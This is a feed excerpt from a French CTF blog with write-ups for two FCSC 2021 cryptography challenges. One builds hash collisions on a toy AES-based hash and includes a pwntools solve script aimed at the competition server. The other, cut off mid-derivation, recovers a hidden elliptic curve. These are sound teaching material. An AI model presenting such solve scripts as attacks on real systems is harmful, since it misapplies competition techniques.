w0nderlandhttps://w0nderland.fr/2021-05-03T00:00:00+02:00FCSC 2021 - Hashy Parmentier [FR]2021-05-03T00:00:00+02:002021-05-03T00:00:00+02:00Antoxydetag:w0nderland.fr,2021-05-03:/fcsc-2021-hashy-parmentier-fr.html<p>Il s'agit d'un challenge à 200 points au FCSC 2021. </p>
<p><img alt="Hashy Parmentier description" src="https://w0nderland.fr/images/fcsc21/hashy-parmentier-desc.png">
Le contenu de <code>hashy_parmentier.py</code> est le suivant : </p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/ipython</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.strxor</span> <span class="kn">import</span> <span class="n">strxor</span>
<span class="n">N</span> <span class="o">=</span> <span class="mi">64</span>
<span class="k">class</span> <span class="nc">Hash</span><span class="p">:</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">h</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span> <span class="o">*</span> <span class="mi">4</span>
<span class="k">def</span> <span class="nf">update</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data …</span></code></pre></div><p>Il s'agit d'un challenge à 200 points au FCSC 2021. </p>
<p><img alt="Hashy Parmentier description" src="https://w0nderland.fr/images/fcsc21/hashy-parmentier-desc.png">
Le contenu de <code>hashy_parmentier.py</code> est le suivant : </p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/ipython</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.strxor</span> <span class="kn">import</span> <span class="n">strxor</span>
<span class="n">N</span> <span class="o">=</span> <span class="mi">64</span>
<span class="k">class</span> <span class="nc">Hash</span><span class="p">:</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">h</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span> <span class="o">*</span> <span class="mi">4</span>
<span class="k">def</span> <span class="nf">update</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">%</span> <span class="mi">4</span> <span class="o">==</span> <span class="mi">0</span> <span class="c1"># TODO</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="mi">4</span><span class="p">):</span>
<span class="n">block</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span> <span class="o">*</span> <span class="mi">4</span>
<span class="n">h</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">h</span> <span class="o">*</span> <span class="mi">4</span>
<span class="bp">self</span><span class="o">.</span><span class="n">h</span> <span class="o">=</span> <span class="n">strxor</span><span class="p">(</span><span class="n">strxor</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">block</span><span class="p">),</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">block</span><span class="p">))[:</span><span class="mi">4</span><span class="p">]</span>
<span class="k">return</span> <span class="bp">self</span>
<span class="k">def</span> <span class="nf">digest</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">h</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">S</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mi">4</span> <span class="o">*</span> <span class="p">(</span><span class="n">N</span> <span class="o">+</span> <span class="mi">1</span><span class="p">),</span> <span class="mi">4</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">m</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">">>> Message #</span><span class="si">{:d}</span><span class="s2">: "</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">i</span> <span class="o">//</span> <span class="mi">4</span><span class="p">))</span>
<span class="n">m</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="p">)</span> <span class="o">==</span> <span class="n">i</span>
<span class="n">H</span> <span class="o">=</span> <span class="n">Hash</span><span class="p">()</span>
<span class="n">S</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">H</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">m</span><span class="p">)</span><span class="o">.</span><span class="n">digest</span><span class="p">())</span>
<span class="k">except</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Error input."</span><span class="p">)</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">S</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">6</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Congratulations!! Here is your flag:"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">"flag.txt"</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">S</span><span class="p">)</span> <span class="o"><</span> <span class="mi">12</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Almost there!"</span><span class="p">)</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">S</span><span class="p">)</span> <span class="o"><</span> <span class="mi">36</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Keep it up!"</span><span class="p">)</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">S</span><span class="p">)</span> <span class="o"><</span> <span class="mi">64</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"This is a good start, try again"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Nope!"</span><span class="p">)</span>
</code></pre></div>
<p>Le but est donc de trouver un ensemble de <span class="math">\(N\)</span> messages ayant une taille allant de 4 à <span class="math">\(4N\)</span>. Le hash de chacun de ces messages doit être le même.</p>
<h1>Analyse du problème</h1>
<p>On peut réécrire la fonction de hash comme ceci : </p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">hash</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">%</span> <span class="mi">4</span> <span class="o">==</span> <span class="mi">0</span>
<span class="n">h</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span> <span class="o">*</span> <span class="mi">4</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="mi">4</span><span class="p">):</span>
<span class="n">block</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span> <span class="o">*</span> <span class="mi">4</span>
<span class="n">h</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">h</span> <span class="o">*</span> <span class="mi">4</span>
<span class="n">h</span> <span class="o">=</span> <span class="n">strxor</span><span class="p">(</span><span class="n">strxor</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">block</span><span class="p">),</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">block</span><span class="p">))[:</span><span class="mi">4</span><span class="p">]</span>
<span class="k">return</span> <span class="n">h</span>
</code></pre></div>
<p>Essayons de formaliser un peu tout ca.</p>
<p>Pour chaque message <span class="math">\(b\)</span> découpée en blocs de 4 t.q. <span class="math">\(b = b_0||..||b_{n-1}\)</span>, on calcule <span class="math">\(h_{i+1} = \mathcal{F}(h_i,b_i)\)</span> , où <span class="math">\(\mathcal{F}\)</span> est l'intérieur de la boucle for. Le hash final est <span class="math">\(h_n\)</span>.</p>
<p>On remarque que si pour un <span class="math">\(h_1\)</span> donné (par exemple <span class="math">\(h_1 = \mathcal{F}(h_0,0)\)</span>), on arrive à trouver un bloc <span class="math">\(x\)</span> tel que <span class="math">\(\mathcal{F}(h_1,x) = h_1\)</span>, alors non seulement on aura une collision, mais en plus il suffit de répéter le bloc <span class="math">\(x\)</span> pour avoir des blocs de différentes tailles ayant le même hash.</p>
<p>En effet, si <span class="math">\(\mathcal{F}(h_1, x) = h_1\)</span>, alors <span class="math">\(\mathcal{F}(\mathcal{F}(h_1, x), x) = h_1, \mathcal{F}(\mathcal{F}(\mathcal{F}(h_1, x), x), x) = h_1\)</span>, donc <span class="math">\(b = 0||x\)</span>, <span class="math">\(b' = 0||x||\)</span>, et <span class="math">\(b'' = 0||x||x||x\)</span> auront le même hash, et ainsi de suite.</p>
<p>Reste à trouver notre collision sur <span class="math">\(\mathcal{F}\)</span>.</p>
<h1>Trouver une collision sur <span class="math">\(\mathcal{F}\)</span></h1>
<p>Pour ca, on commence par fixer <code>b_0 = h_0 = b"\x00" * 4</code>
On a alors <code>h_1 = b'f\xe9K\xd4'</code>.</p>
<p>Le but va donc être de trouver 4 octets <code>x</code> tel que </p>
<div class="highlight"><pre><span></span><code><span class="n">h_1</span> <span class="o">==</span> <span class="n">strxor</span><span class="p">(</span><span class="n">strxor</span><span class="p">(</span><span class="n">h_1</span> <span class="o">*</span> <span class="mi">4</span><span class="p">,</span> <span class="n">x</span> <span class="o">*</span> <span class="mi">4</span><span class="p">),</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">h_1</span> <span class="o">*</span> <span class="mi">4</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">x</span> <span class="o">*</span> <span class="mi">4</span><span class="p">))[:</span><span class="mi">4</span><span class="p">]</span>
</code></pre></div>
<p>est vrai, c'est a dire <span class="math">\(h_1 = (h_1 \oplus x) \oplus AES_{h_1||h_1||h_1||h_1}(x||x||x||x)[4:]\)</span></p>
<p>Par les propriétés du xor, ca se simplifie en <span class="math">\(x = AES_{h_1||h_1||h_1||h_1}(x||x||x||x)[4:]\)</span>.</p>
<p>Pour trouver cette valeur, j'ai lancer un bout de script avant d'aller me coucher : </p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">tqdm</span> <span class="kn">import</span> <span class="n">tqdm</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="n">h_0</span> <span class="o">=</span> <span class="n">b_0</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span> <span class="o">*</span> <span class="mi">4</span>
<span class="n">h_1</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">h_0</span> <span class="o">*</span> <span class="mi">4</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">b_0</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)[:</span><span class="mi">4</span><span class="p">]</span>
<span class="n">aes</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">h_1</span> <span class="o">*</span> <span class="mi">4</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">tqdm</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">)):</span>
<span class="n">x4</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="s2">"big"</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span>
<span class="k">if</span> <span class="n">aes</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">x4</span><span class="p">)[:</span><span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="n">x</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"got one ! "</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"nope :("</span><span class="p">)</span>
</code></pre></div>
<p>Au petit matin, j'ai obtenu la valeur <code>3216551748</code> soit <code>b'\xbf\xb8\xafD'</code> en bytes.</p>
<p>Il suffit maintenant de créer les collisions comme décrit dans la 1ère partie, et c'est terminé.</p>
<p>Petit script des familles: </p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"challenges1.france-cybersecurity-challenge.fr"</span><span class="p">,</span> <span class="mi">6001</span><span class="p">)</span>
<span class="n">x</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">3216551748</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="s2">"big"</span><span class="p">)</span>
<span class="n">bn</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span> <span class="o">*</span> <span class="mi">4</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">bn</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
<span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">65</span><span class="p">):</span>
<span class="n">bn</span> <span class="o">+=</span> <span class="n">x</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">bn</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">())</span> <span class="c1"># FCSC{b400aabf21470544850632fb99c4fd06df6b69c07fd02fc2ef685a71b57afd99}</span>
</code></pre></div>
<p><strong>Note</strong>:</p>
<p>Cette manière de construire une fonction de hash en se basant sur une fonction de compression appelée itérativement pour chaque bloc s'appelle <a href="https://fr.wikipedia.org/wiki/Construction_de_Merkle-Damg%C3%A5rd">construction de Merkle-Damgård</a>. c'est une forme assez classique notamment utilisé par MD5 et SHA-1.</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>FCSC 2021 - Lost Curve [FR]2021-05-01T00:00:00+02:002021-05-01T00:00:00+02:00Antoxydetag:w0nderland.fr,2021-05-01:/fcsc-2021-lost-curve-fr.html<p>Il s'agit d'un challenge à 200 points au FCSC 2021. </p>
<p><img alt="Lost Curve description" src="https://w0nderland.fr/images/fcsc21/lost-curve-desc.png"></p>
<p>Le contenu de <code>lost_curve.py</code> est le suivant : </p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">fastecdsa.curve</span> <span class="kn">import</span> <span class="n">Curve</span>
<span class="kn">from</span> <span class="nn">fastecdsa.point</span> <span class="kn">import</span> <span class="n">Point</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getPrime</span>
<span class="kn">from</span> <span class="nn">Crypto.Random.random</span> <span class="kn">import</span> <span class="n">randrange</span>
<span class="n">BITS</span> <span class="o">=</span> <span class="mi">80</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">getPrime</span><span class="p">(</span><span class="n">BITS</span><span class="p">)</span>
<span class="k">if</span> <span class="n">p</span> <span class="o">%</span> <span class="mi">4 …</span></code></pre></div><p>Il s'agit d'un challenge à 200 points au FCSC 2021. </p>
<p><img alt="Lost Curve description" src="https://w0nderland.fr/images/fcsc21/lost-curve-desc.png"></p>
<p>Le contenu de <code>lost_curve.py</code> est le suivant : </p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">fastecdsa.curve</span> <span class="kn">import</span> <span class="n">Curve</span>
<span class="kn">from</span> <span class="nn">fastecdsa.point</span> <span class="kn">import</span> <span class="n">Point</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getPrime</span>
<span class="kn">from</span> <span class="nn">Crypto.Random.random</span> <span class="kn">import</span> <span class="n">randrange</span>
<span class="n">BITS</span> <span class="o">=</span> <span class="mi">80</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">getPrime</span><span class="p">(</span><span class="n">BITS</span><span class="p">)</span>
<span class="k">if</span> <span class="n">p</span> <span class="o">%</span> <span class="mi">4</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">randrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">p</span><span class="p">),</span> <span class="n">randrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="n">C</span> <span class="o">=</span> <span class="n">Curve</span><span class="p">(</span><span class="s2">"FCSC"</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">xP</span> <span class="o">=</span> <span class="n">randrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="n">yP</span> <span class="o">=</span> <span class="p">(</span><span class="n">xP</span> <span class="o">**</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">a</span> <span class="o">*</span> <span class="n">xP</span> <span class="o">+</span> <span class="n">b</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span>
<span class="k">if</span> <span class="nb">pow</span><span class="p">(</span><span class="n">yP</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">yP</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">yP</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="mi">4</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
<span class="k">assert</span> <span class="p">(</span><span class="n">xP</span> <span class="o">**</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">a</span> <span class="o">*</span> <span class="n">xP</span> <span class="o">+</span> <span class="n">b</span> <span class="o">-</span> <span class="n">yP</span> <span class="o">**</span> <span class="mi">2</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span> <span class="o">==</span> <span class="mi">0</span>
<span class="n">P</span> <span class="o">=</span> <span class="n">Point</span><span class="p">(</span><span class="n">xP</span><span class="p">,</span> <span class="n">yP</span><span class="p">,</span> <span class="n">C</span><span class="p">)</span>
<span class="n">Q</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">P</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Can you find my secret curve equation: y^2 = x^3 + a*x + b (mod p)?"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"I will give you two points:"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"P = (</span><span class="si">{</span><span class="n">P</span><span class="o">.</span><span class="n">x</span><span class="si">}</span><span class="s2">, </span><span class="si">{</span><span class="n">P</span><span class="o">.</span><span class="n">y</span><span class="si">}</span><span class="s2">)"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"Q = (</span><span class="si">{</span><span class="n">Q</span><span class="o">.</span><span class="n">x</span><span class="si">}</span><span class="s2">, </span><span class="si">{</span><span class="n">Q</span><span class="o">.</span><span class="n">y</span><span class="si">}</span><span class="s2">)"</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">a</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">">>> a = "</span><span class="p">))</span>
<span class="n">b</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">">>> b = "</span><span class="p">))</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">">>> p = "</span><span class="p">))</span>
<span class="n">C</span> <span class="o">=</span> <span class="n">Curve</span><span class="p">(</span><span class="s2">"Check"</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">check</span> <span class="o">=</span> <span class="kc">True</span>
<span class="n">check</span> <span class="o">&=</span> <span class="n">p</span><span class="o">.</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">>=</span> <span class="n">BITS</span>
<span class="n">check</span> <span class="o">&=</span> <span class="p">(</span><span class="n">P</span><span class="o">.</span><span class="n">x</span> <span class="o">**</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">a</span> <span class="o">*</span> <span class="n">P</span><span class="o">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">b</span> <span class="o">-</span> <span class="n">P</span><span class="o">.</span><span class="n">y</span> <span class="o">**</span> <span class="mi">2</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span> <span class="o">==</span> <span class="mi">0</span>
<span class="n">check</span> <span class="o">&=</span> <span class="p">(</span><span class="n">Q</span><span class="o">.</span><span class="n">x</span> <span class="o">**</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">a</span> <span class="o">*</span> <span class="n">Q</span><span class="o">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">b</span> <span class="o">-</span> <span class="n">Q</span><span class="o">.</span><span class="n">y</span> <span class="o">**</span> <span class="mi">2</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span> <span class="o">==</span> <span class="mi">0</span>
<span class="n">check</span> <span class="o">&=</span> <span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">Point</span><span class="p">(</span><span class="n">P</span><span class="o">.</span><span class="n">x</span><span class="p">,</span> <span class="n">P</span><span class="o">.</span><span class="n">y</span><span class="p">,</span> <span class="n">C</span><span class="p">)</span> <span class="o">==</span> <span class="n">Point</span><span class="p">(</span><span class="n">Q</span><span class="o">.</span><span class="n">x</span><span class="p">,</span> <span class="n">Q</span><span class="o">.</span><span class="n">y</span><span class="p">,</span> <span class="n">C</span><span class="p">))</span>
<span class="k">if</span> <span class="n">check</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Congratulations!! Here is your flag:"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">"flag.txt"</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"That's not it!"</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"That's not it!"</span><span class="p">)</span>
</code></pre></div>
<h1>Résolution</h1>
<p>Le serveur nous envoie 2 points <span class="math">\(P = (x_p,y_p)\)</span> et <span class="math">\(Q = 2P = (x_q,y_q)\)</span>.</p>
<p>Nous savons que cette courbe est sous la forme de Weierstrass, et que les 2 équations suivantes sont donc vraies:</p>
<div class="math">$$y_p^2 = x_p^3 + ax_p + b \mod p \tag{1}$$</div>
<div class="math">$$y_q^2 = x_q^3 + ax_q + b \mod p \tag{2}$$</div>
<p>Comme <span class="math">\(Q = 2P = P + P\)</span>, nous avons également obtenir deux équations de plus en utilisant les formules d'additions de 2 points.</p>
<div class="math">$$x_q = (\frac{3x_p^2 + a}{2y_p})^2 - 2x_p \mod p \tag{3}$$</div>
<div class="math">$$y_q = -y_p - (\frac{3x_p^2 + a}{2y_p})(x_q -x_p) \mod p \tag{4}$$</div>
<h2>Calcul de <span class="math">\(p\)</span></h2>
<p>Pour commencer, on va se servir uniquement de <span class="math">\((4)\)</span>, qu'on peut réecrire en isolant <span class="math">\(a\)</span> </p>
<div class="math">$$2y_p (\frac{y_p + y_q}{x_p - x_q}) - 3x_p^2 = a \mod p \tag{5}$$</div>
